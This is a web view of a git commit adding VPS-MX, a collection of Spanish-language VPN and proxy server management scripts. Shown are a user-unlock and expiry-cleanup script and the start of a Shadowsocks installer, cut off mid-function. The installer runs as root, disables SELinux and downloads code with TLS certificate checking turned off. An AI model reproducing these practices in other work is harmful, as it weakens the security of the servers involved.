Kalix1 3 سال پیش
والد
کامیت
4329ca78d9
100فایلهای تغییر یافته به همراه37958 افزوده شده و 0 حذف شده
  1. 0 0
      0-Instalador/Install-Sin-Key.sh
  2. 1 0
      LINKS-LIBRERIAS/Control-IP
  3. 64 0
      LINKS-LIBRERIAS/Desbloqueo.sh
  4. 3 0
      LINKS-LIBRERIAS/HELP.sh
  5. 0 0
      LINKS-LIBRERIAS/IDT.log
  6. 1387 0
      LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh
  7. 1385 0
      LINKS-LIBRERIAS/Instalador-Shadowsocks-libev.sh
  8. 5 0
      LINKS-LIBRERIAS/SPR.sh
  9. 6091 0
      LINKS-LIBRERIAS/ShellBot.sh
  10. 1 0
      LINKS-LIBRERIAS/Version
  11. BIN
      LINKS-LIBRERIAS/backsocz.zip
  12. BIN
      LINKS-LIBRERIAS/badvpn-udpgw
  13. 4 0
      LINKS-LIBRERIAS/cambios
  14. 33 0
      LINKS-LIBRERIAS/common-password
  15. BIN
      LINKS-LIBRERIAS/dns-server
  16. 26 0
      LINKS-LIBRERIAS/estilos.css
  17. 318 0
      LINKS-LIBRERIAS/install-v2ray.sh
  18. 54 0
      LINKS-LIBRERIAS/limv2ray
  19. 150 0
      LINKS-LIBRERIAS/monitor.sh
  20. 1 0
      LINKS-LIBRERIAS/nombre.log
  21. 11 0
      LINKS-LIBRERIAS/rebootnb
  22. 5 0
      LINKS-LIBRERIAS/resetsshdrop
  23. BIN
      LINKS-LIBRERIAS/speedtest_v1.tar
  24. 1 0
      LINKS-LIBRERIAS/tiemlim.log
  25. 5655 0
      LINKS-LIBRERIAS/trans
  26. BIN
      SCREEN-ALL/VPS-MXMOD.png
  27. BIN
      SCREEN-ALL/VPS-MXOF.png
  28. BIN
      SCRIPT-v8.4g Oficial/VPS-MX.tar.xz
  29. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/controlador/IDT.log
  30. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/controlador/SSH20.log
  31. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/controlador/nombre.log
  32. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/controlador/tiemlim.log
  33. 1297 0
      SCRIPT-v8.4g Oficial/VPS-MX/controlador/usercodes
  34. 1293 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ADMbot.sh
  35. 88 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/Crear-Demo.sh
  36. 97 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/apacheon.sh
  37. 537 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/blockBT.sh
  38. 39 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/dns-netflix.sh
  39. 432 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/fai2ban.sh
  40. 228 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/gestor.sh
  41. 289 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/paysnd.sh
  42. 233 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ports.sh
  43. 3 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speed.py
  44. 464 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/__init__.py
  45. BIN
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/__init__.pyc
  46. BIN
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/_pytransform.so
  47. 168 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/squidpass.sh
  48. 690 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/tcp.sh
  49. 92 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ultrahost
  50. 143 0
      SCRIPT-v8.4g Oficial/VPS-MX/herramientas/utils.sh
  51. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/idioma
  52. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/key.txt
  53. 938 0
      SCRIPT-v8.4g Oficial/VPS-MX/menu
  54. 1 0
      SCRIPT-v8.4g Oficial/VPS-MX/message.txt
  55. 2077 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/C-SSR.sh
  56. 267 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PDirect.py
  57. 682 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PGet.py
  58. 313 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/POpen.py
  59. 335 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PPriv.py
  60. 318 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/PPub.py
  61. 115 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/Shadowsocks-R.sh
  62. 116 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/Shadowsocks-libev.sh
  63. 37 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/budp.sh
  64. 209 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/dropbear.sh
  65. 853 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/openvpn.sh
  66. 267 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/python.py
  67. 139 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/shadowsocks.sh
  68. 426 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/sockspy.sh
  69. 373 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/squid.sh
  70. 230 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/ssl.sh
  71. 504 0
      SCRIPT-v8.4g Oficial/VPS-MX/protocolos/v2ray.sh
  72. 1 0
      SCRIPT-v8.4g Oficial/Version
  73. 1070 0
      SCRIPT-v8.5x Mod/LACASITA.sh
  74. BIN
      SCRIPT-v8.5x Mod/VPS-MX.tar.xz
  75. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/controlador/IDT.log
  76. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/controlador/SSH20.log
  77. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/controlador/nombre.log
  78. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/controlador/tiemlim.log
  79. 1836 0
      SCRIPT-v8.5x Mod/VPS-MX/controlador/usercodes
  80. 1342 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ADMbot.sh
  81. 89 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/Crear-Demo.sh
  82. 97 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/apacheon.sh
  83. 537 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/blockBT.sh
  84. 39 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/dns-netflix.sh
  85. 433 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/fai2ban.sh
  86. 228 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/gestor.sh
  87. 283 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/paysnd.sh
  88. 235 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ports.sh
  89. 3 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speed.py
  90. 464 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.py
  91. BIN
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.pyc
  92. BIN
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/_pytransform.so
  93. 168 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/squidpass.sh
  94. 107 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/tcp.sh
  95. 93 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/ultrahost
  96. 143 0
      SCRIPT-v8.5x Mod/VPS-MX/herramientas/utils.sh
  97. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/idioma
  98. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/key.txt
  99. 1289 0
      SCRIPT-v8.5x Mod/VPS-MX/menu
  100. 1 0
      SCRIPT-v8.5x Mod/VPS-MX/message.txt

+ 0 - 0
Multi-Instalador/Install-Sin-Key.sh → 0-Instalador/Install-Sin-Key.sh


+ 1 - 0
LINKS-LIBRERIAS/Control-IP

@@ -0,0 +1 @@
+155.138.245.13 (Panel-NetVPS 6.0)

+ 64 - 0
LINKS-LIBRERIAS/Desbloqueo.sh

@@ -0,0 +1,64 @@
+#!/bin/bash
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPdir2="${SCPdir}/herramientas"
+SCPusr="${SCPdir}/controlador"
+MyPID="${SCPusr}/pid-vps-mx"
+MyTIME="${SCPusr}/time-vps-mx"
+USRdatabase="${SCPdir}/VPS-MXuser"
+
+VERY="$(ps aux|grep "${SCPusr}/usercodes verificar"| grep -v grep)"
+[[ -e ${MyPID} ]] && source ${MyPID} || touch ${MyPID}
+[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
+[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
+sort ${USRdatabase} | uniq > ${USRdatabase}tmp
+mv -f ${USRdatabase}tmp ${USRdatabase}
+
+unlockall3 () {
+for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
+do
+userpid=$(ps -u $user |awk {'print $1'})
+
+usermod -U $user &>/dev/null
+done
+}
+mostrar_usuarios () {
+for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
+echo "$u"
+done
+}
+rm_user () {
+#nome
+userdel --force "$1" &>/dev/null || return 1
+[[ -e ${USRdatabase} ]] && {
+   newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+   for value in `echo ${newbase}`; do
+   echo $value >> ${USRdatabase}
+   done
+   }
+}
+rm_vencidos () {
+DataVPS=$(date +%s)
+while read user; do
+DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}')
+usr=$user
+ while [[ ${#usr} -lt 20 ]]; do
+ usr=$usr" "
+ done
+[[ "$DataUser" = " never" ]] && {
+   echo -e "${yellow}$usr $never"
+   continue
+   }
+DataSEC=$(date +%s --date="$DataUser")
+if [[ "$DataSEC" -lt "$DataVPS" ]]; then
+echo -ne "${yellow}$usr $expired"
+rm_user "$user" && echo -e "($removido)"
+else
+echo -e "${yellow}$usr $valid"
+fi
+done <<< "$(mostrar_usuarios)"
+rm -rf /etc/VPS-MX/VPS-MX-userlock
+rm -rf /etc/VPS-MX/controlador/Limiter.log
+}
+unlockall3 &>/dev/null
+rm_vencidos &>/dev/null
+exit

+ 3 - 0
LINKS-LIBRERIAS/HELP.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+#Soporte Remoto (HELP)
+echo "EJECUTANDO FIXER"

+ 0 - 0
LINKS-LIBRERIAS/IDT.log


+ 1387 - 0
LINKS-LIBRERIAS/Instalador-Shadowsocks-R.sh

@@ -0,0 +1,1387 @@
+#!/bin/bash
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+#
+# Auto install Shadowsocks Server (all version)
+#
+# Copyright (C) 2016-2019 Teddysun <i@teddysun.com>
+#
+# System Required:  CentOS 6+, Debian7+, Ubuntu12+
+#
+# Reference URL:
+# https://github.com/shadowsocks/shadowsocks
+# https://github.com/shadowsocks/shadowsocks-go
+# https://github.com/shadowsocks/shadowsocks-libev
+# https://github.com/shadowsocks/shadowsocks-windows
+# https://github.com/shadowsocksr-rm/shadowsocksr
+# https://github.com/shadowsocksrr/shadowsocksr
+# https://github.com/shadowsocksrr/shadowsocksr-csharp
+#
+# Thanks:
+# @clowwindy  <https://twitter.com/clowwindy>
+# @breakwa11  <https://twitter.com/breakwa11>
+# @cyfdecyf   <https://twitter.com/cyfdecyf>
+# @madeye     <https://github.com/madeye>
+# @linusyang  <https://github.com/linusyang>
+# @Akkariiin  <https://github.com/Akkariiin>
+# 
+# Intro:  https://teddysun.com/486.html
+
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+plain='\033[0m'
+
+[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] This script must be run as root!" && exit 1
+
+cur_dir=$( pwd )
+software=(Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev)
+
+libsodium_file="libsodium-1.0.17"
+libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.17/libsodium-1.0.17.tar.gz"
+
+mbedtls_file="mbedtls-2.16.0"
+mbedtls_url="https://tls.mbed.org/download/mbedtls-2.16.0-gpl.tgz"
+
+shadowsocks_python_file="shadowsocks-master"
+shadowsocks_python_url="https://github.com/shadowsocks/shadowsocks/archive/master.zip"
+shadowsocks_python_init="/etc/init.d/shadowsocks-python"
+shadowsocks_python_config="/etc/shadowsocks-python/config.json"
+shadowsocks_python_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks"
+shadowsocks_python_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-debian"
+
+shadowsocks_r_file="shadowsocksr-3.2.2"
+shadowsocks_r_url="https://github.com/shadowsocksrr/shadowsocksr/archive/3.2.2.tar.gz"
+shadowsocks_r_init="/etc/init.d/shadowsocks-r"
+shadowsocks_r_config="/etc/shadowsocks-r/config.json"
+shadowsocks_r_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR"
+shadowsocks_r_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR-debian"
+
+shadowsocks_go_file_64="shadowsocks-server-linux64-1.2.2"
+shadowsocks_go_url_64="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux64-1.2.2.gz"
+shadowsocks_go_file_32="shadowsocks-server-linux32-1.2.2"
+shadowsocks_go_url_32="https://dl.lamp.sh/shadowsocks/shadowsocks-server-linux32-1.2.2.gz"
+shadowsocks_go_init="/etc/init.d/shadowsocks-go"
+shadowsocks_go_config="/etc/shadowsocks-go/config.json"
+shadowsocks_go_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go"
+shadowsocks_go_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-go-debian"
+
+shadowsocks_libev_init="/etc/init.d/shadowsocks-libev"
+shadowsocks_libev_config="/etc/shadowsocks-libev/config.json"
+shadowsocks_libev_centos="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev"
+shadowsocks_libev_debian="https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian"
+
+# Stream Ciphers
+common_ciphers=(
+aes-256-gcm
+aes-192-gcm
+aes-128-gcm
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+camellia-128-cfb
+camellia-192-cfb
+camellia-256-cfb
+xchacha20-ietf-poly1305
+chacha20-ietf-poly1305
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+go_ciphers=(
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+rc4-md5
+)
+r_ciphers=(
+none
+aes-256-cfb
+aes-192-cfb
+aes-128-cfb
+aes-256-cfb8
+aes-192-cfb8
+aes-128-cfb8
+aes-256-ctr
+aes-192-ctr
+aes-128-ctr
+chacha20-ietf
+chacha20
+salsa20
+xchacha20
+xsalsa20
+rc4-md5
+)
+# Reference URL:
+# https://github.com/shadowsocksr-rm/shadowsocks-rss/blob/master/ssr.md
+# https://github.com/shadowsocksrr/shadowsocksr/commit/a3cf0254508992b7126ab1151df0c2f10bf82680
+# Protocol
+protocols=(
+origin
+verify_deflate
+auth_sha1_v4
+auth_sha1_v4_compatible
+auth_aes128_md5
+auth_aes128_sha1
+auth_chain_a
+auth_chain_b
+auth_chain_c
+auth_chain_d
+auth_chain_e
+auth_chain_f
+)
+# obfs
+obfs=(
+plain
+http_simple
+http_simple_compatible
+http_post
+http_post_compatible
+tls1.2_ticket_auth
+tls1.2_ticket_auth_compatible
+tls1.2_ticket_fastauth
+tls1.2_ticket_fastauth_compatible
+)
+# libev obfuscating
+obfs_libev=(http tls)
+# initialization parameter
+libev_obfs=""
+
+disable_selinux(){
+    if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then
+        sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
+        setenforce 0
+    fi
+}
+
+check_sys(){
+    local checkType=$1
+    local value=$2
+
+    local release=''
+    local systemPackage=''
+
+    if [[ -f /etc/redhat-release ]]; then
+        release="centos"
+        systemPackage="yum"
+    elif grep -Eqi "debian|raspbian" /etc/issue; then
+        release="debian"
+        systemPackage="apt"
+    elif grep -Eqi "ubuntu" /etc/issue; then
+        release="ubuntu"
+        systemPackage="apt"
+    elif grep -Eqi "centos|red hat|redhat" /etc/issue; then
+        release="centos"
+        systemPackage="yum"
+    elif grep -Eqi "debian|raspbian" /proc/version; then
+        release="debian"
+        systemPackage="apt"
+    elif grep -Eqi "ubuntu" /proc/version; then
+        release="ubuntu"
+        systemPackage="apt"
+    elif grep -Eqi "centos|red hat|redhat" /proc/version; then
+        release="centos"
+        systemPackage="yum"
+    fi
+
+    if [[ "${checkType}" == "sysRelease" ]]; then
+        if [ "${value}" == "${release}" ]; then
+            return 0
+        else
+            return 1
+        fi
+    elif [[ "${checkType}" == "packageManager" ]]; then
+        if [ "${value}" == "${systemPackage}" ]; then
+            return 0
+        else
+            return 1
+        fi
+    fi
+}
+
+version_ge(){
+    test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1"
+}
+
+version_gt(){
+    test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1"
+}
+
+check_kernel_version(){
+    local kernel_version=$(uname -r | cut -d- -f1)
+    if version_gt ${kernel_version} 3.7.0; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+check_kernel_headers(){
+    if check_sys packageManager yum; then
+        if rpm -qa | grep -q headers-$(uname -r); then
+            return 0
+        else
+            return 1
+        fi
+    elif check_sys packageManager apt; then
+        if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then
+            return 0
+        else
+            return 1
+        fi
+    fi
+    return 1
+}
+
+getversion(){
+    if [[ -s /etc/redhat-release ]]; then
+        grep -oE  "[0-9.]+" /etc/redhat-release
+    else
+        grep -oE  "[0-9.]+" /etc/issue
+    fi
+}
+
+centosversion(){
+    if check_sys sysRelease centos; then
+        local code=$1
+        local version="$(getversion)"
+        local main_ver=${version%%.*}
+        if [ "$main_ver" == "$code" ]; then
+            return 0
+        else
+            return 1
+        fi
+    else
+        return 1
+    fi
+}
+
+autoconf_version(){
+    if [ ! "$(command -v autoconf)" ]; then
+        echo -e "[${green}Info${plain}] Starting install package autoconf"
+        if check_sys packageManager yum; then
+            yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+        elif check_sys packageManager apt; then
+            apt-get -y update > /dev/null 2>&1
+            apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf"
+        fi
+    fi
+    local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+")
+    if version_ge ${autoconf_ver} 2.67; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+get_ip(){
+    local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 )
+    [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com )
+    [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip )
+    echo ${IP}
+}
+
+get_ipv6(){
+    local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com)
+    [ -z ${ipv6} ] && return 1 || return 0
+}
+
+get_libev_ver(){
+    libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4)
+    [ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1
+}
+
+get_opsy(){
+    [ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return
+    [ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return
+    [ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return
+}
+
+is_64bit(){
+    if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then
+        return 0
+    else
+        return 1
+    fi
+}
+
+debianversion(){
+    if check_sys sysRelease debian;then
+        local version=$( get_opsy )
+        local code=${1}
+        local main_ver=$( echo ${version} | sed 's/[^0-9]//g')
+        if [ "${main_ver}" == "${code}" ];then
+            return 0
+        else
+            return 1
+        fi
+    else
+        return 1
+    fi
+}
+
+download(){
+    local filename=$(basename $1)
+    if [ -f ${1} ]; then
+        echo "${filename} [found]"
+    else
+        echo "${filename} not found, download now..."
+        wget --no-check-certificate -c -t3 -T60 -O ${1} ${2}
+        if [ $? -ne 0 ]; then
+            echo -e "[${red}Error${plain}] Download ${filename} failed."
+            exit 1
+        fi
+    fi
+}
+
+download_files(){
+    cd ${cur_dir}
+
+    if   [ "${selected}" == "1" ]; then
+        download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_python_init}" "${shadowsocks_python_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_python_init}" "${shadowsocks_python_debian}"
+        fi
+    elif [ "${selected}" == "2" ]; then
+        download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_r_init}" "${shadowsocks_r_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_r_init}" "${shadowsocks_r_debian}"
+        fi
+    elif [ "${selected}" == "3" ]; then
+        if is_64bit; then
+            download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}"
+        else
+            download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}"
+        fi
+        if check_sys packageManager yum; then
+            download "${shadowsocks_go_init}" "${shadowsocks_go_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_go_init}" "${shadowsocks_go_debian}"
+        fi
+    elif [ "${selected}" == "4" ]; then
+        get_libev_ver
+        shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')"
+        shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz"
+
+        download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}"
+        if check_sys packageManager yum; then
+            download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}"
+        elif check_sys packageManager apt; then
+            download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}"
+        fi
+    fi
+
+}
+
+get_char(){
+    SAVEDSTTY=$(stty -g)
+    stty -echo
+    stty cbreak
+    dd if=/dev/tty bs=1 count=1 2> /dev/null
+    stty -raw
+    stty echo
+    stty $SAVEDSTTY
+}
+
+error_detect_depends(){
+    local command=$1
+    local depend=`echo "${command}" | awk '{print $4}'`
+    echo -e "[${green}Info${plain}] Starting to install package ${depend}"
+    ${command} > /dev/null 2>&1
+    if [ $? -ne 0 ]; then
+        echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}"
+        echo "Please visit: https://teddysun.com/486.html and contact."
+        exit 1
+    fi
+}
+
+config_firewall(){
+    if centosversion 6; then
+        /etc/init.d/iptables status > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1
+            if [ $? -ne 0 ]; then
+                iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT
+                iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT
+                /etc/init.d/iptables save
+                /etc/init.d/iptables restart
+            else
+                echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled."
+            fi
+        else
+            echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+        fi
+    elif centosversion 7; then
+        systemctl status firewalld > /dev/null 2>&1
+        if [ $? -eq 0 ]; then
+            default_zone=$(firewall-cmd --get-default-zone)
+            firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp
+            firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp
+            firewall-cmd --reload
+        else
+            echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary."
+        fi
+    fi
+}
+
+config_shadowsocks(){
+
+if check_kernel_version && check_kernel_headers; then
+    fast_open="true"
+else
+    fast_open="false"
+fi
+
+if   [ "${selected}" == "1" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_python_config})
+    fi
+    cat > ${shadowsocks_python_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_port":${shadowsocksport},
+    "local_address":"127.0.0.1",
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open}
+}
+EOF
+elif [ "${selected}" == "2" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_r_config})
+    fi
+    cat > ${shadowsocks_r_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_ipv6":"::",
+    "server_port":${shadowsocksport},
+    "local_address":"127.0.0.1",
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "timeout":120,
+    "method":"${shadowsockscipher}",
+    "protocol":"${shadowsockprotocol}",
+    "protocol_param":"",
+    "obfs":"${shadowsockobfs}",
+    "obfs_param":"",
+    "redirect":"",
+    "dns_ipv6":false,
+    "fast_open":${fast_open},
+    "workers":1
+}
+EOF
+elif [ "${selected}" == "3" ]; then
+    if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_go_config})
+    fi
+    cat > ${shadowsocks_go_config}<<-EOF
+{
+    "server":"0.0.0.0",
+    "server_port":${shadowsocksport},
+    "local_port":1080,
+    "password":"${shadowsockspwd}",
+    "method":"${shadowsockscipher}",
+    "timeout":300
+}
+EOF
+elif [ "${selected}" == "4" ]; then
+    local server_value="\"0.0.0.0\""
+    if get_ipv6; then
+        server_value="[\"[::0]\",\"0.0.0.0\"]"
+    fi
+
+    if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then
+        mkdir -p $(dirname ${shadowsocks_libev_config})
+    fi
+
+    if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+        cat > ${shadowsocks_libev_config}<<-EOF
+{
+    "server":${server_value},
+    "server_port":${shadowsocksport},
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "user":"nobody",
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open},
+    "nameserver":"8.8.8.8",
+    "mode":"tcp_and_udp",
+    "plugin":"obfs-server",
+    "plugin_opts":"obfs=${shadowsocklibev_obfs}"
+}
+EOF
+    else
+        cat > ${shadowsocks_libev_config}<<-EOF
+{
+    "server":${server_value},
+    "server_port":${shadowsocksport},
+    "password":"${shadowsockspwd}",
+    "timeout":300,
+    "user":"nobody",
+    "method":"${shadowsockscipher}",
+    "fast_open":${fast_open},
+    "nameserver":"8.8.8.8",
+    "mode":"tcp_and_udp"
+}
+EOF
+    fi
+
+fi
+}
+
+install_dependencies(){
+    if check_sys packageManager yum; then
+        echo -e "[${green}Info${plain}] Checking the EPEL repository..."
+        if [ ! -f /etc/yum.repos.d/epel.repo ]; then
+            yum install -y epel-release > /dev/null 2>&1
+        fi
+        [ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1
+        [ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1
+        [ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1
+        echo -e "[${green}Info${plain}] Checking the EPEL repository complete..."
+
+        yum_depends=(
+            unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent
+            autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel
+            libev-devel c-ares-devel git qrencode
+        )
+        for depend in ${yum_depends[@]}; do
+            error_detect_depends "yum -y install ${depend}"
+        done
+    elif check_sys packageManager apt; then
+        apt_depends=(
+            gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev
+            autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode
+        )
+
+        apt-get -y update
+        for depend in ${apt_depends[@]}; do
+            error_detect_depends "apt-get -y install ${depend}"
+        done
+    fi
+}
+
+install_check(){
+    if check_sys packageManager yum || check_sys packageManager apt; then
+        if centosversion 5; then
+            return 1
+        fi
+        return 0
